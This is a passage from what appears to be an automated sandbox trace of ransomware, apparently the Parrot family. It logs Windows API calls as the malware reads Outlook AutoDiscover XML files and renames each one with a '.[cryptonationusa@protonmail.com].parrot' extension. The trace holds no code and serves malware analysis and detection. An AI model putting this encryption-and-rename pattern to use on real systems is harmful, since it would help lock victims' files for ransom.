lpNewFilePointer=0x0) returned 1 [0198.730] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0198.730] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0198.730] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.UK.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.uk.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.UK.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.uk.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0198.735] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0198.735] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0198.736] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.737] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x32c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x32c, lpOverlapped=0x0) returned 1 [0198.737] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0198.737] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.737] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0198.737] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0198.737] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.AR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.ar.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.AR.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.ar.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0198.742] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0198.742] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0198.799] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.799] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x32c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x32c, lpOverlapped=0x0) returned 1 [0198.799] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0198.800] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.800] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0198.800] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0198.800] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.AU.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.au.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.AU.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.au.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0198.807] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0198.807] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0198.817] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.818] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x32c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x32c, lpOverlapped=0x0) returned 1 [0198.818] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0198.818] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.818] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0198.818] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0198.819] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.BR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.br.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.BR.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.br.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0198.825] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0198.825] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0198.869] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.869] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x32c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x32c, lpOverlapped=0x0) returned 1 [0198.869] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0198.870] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.870] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0198.870] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0198.870] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.CN.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.cn.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.CN.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.cn.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0198.878] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0198.878] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0198.880] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.880] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x32c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x32c, lpOverlapped=0x0) returned 1 [0198.880] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0198.880] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.880] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0198.880] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0198.881] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.HK.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.hk.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.HK.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.hk.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0198.886] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0198.886] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0198.888] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.888] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x326, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x326, lpOverlapped=0x0) returned 1 [0198.888] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0198.889] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.889] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0198.889] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0198.889] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.MX.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.mx.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.MX.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.mx.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0198.911] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0198.913] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0198.920] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.920] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x32c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x32c, lpOverlapped=0x0) returned 1 [0198.920] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0198.921] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.921] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0198.921] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0198.921] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.MY.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.my.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.MY.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.my.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0198.960] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0198.960] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0198.964] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.964] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x32c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x32c, lpOverlapped=0x0) returned 1 [0198.964] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0198.965] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.965] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0198.965] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0198.965] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.PH.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.ph.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.PH.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.ph.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0198.972] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0198.972] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0198.973] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.973] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x32c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x32c, lpOverlapped=0x0) returned 1 [0198.973] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0198.974] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.974] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0198.974] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0198.974] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.SG.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.sg.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.SG.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.sg.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0198.980] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0198.980] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0198.981] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.981] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x32c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x32c, lpOverlapped=0x0) returned 1 [0198.982] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0198.982] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.982] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0198.982] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0198.982] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.TW.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.tw.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.TW.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.tw.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0198.995] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0198.996] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0199.010] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.011] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x32c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x32c, lpOverlapped=0x0) returned 1 [0199.011] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0199.011] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.011] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0199.011] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0199.012] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.VN.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.vn.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.VN.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.vn.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0199.018] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0199.018] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0199.019] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.019] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x326, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x326, lpOverlapped=0x0) returned 1 [0199.019] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0199.020] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.020] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0199.020] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0199.020] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0199.025] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0199.025] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0199.029] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.029] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x324, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x324, lpOverlapped=0x0) returned 1 [0199.030] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0199.030] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.030] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0199.030] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0199.030] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.de.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.de.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0199.035] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0199.035] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0199.037] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.037] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x328, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x328, lpOverlapped=0x0) returned 1 [0199.037] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0199.037] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.037] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0199.037] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0199.038] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.es.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.es.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0199.042] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0199.042] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, 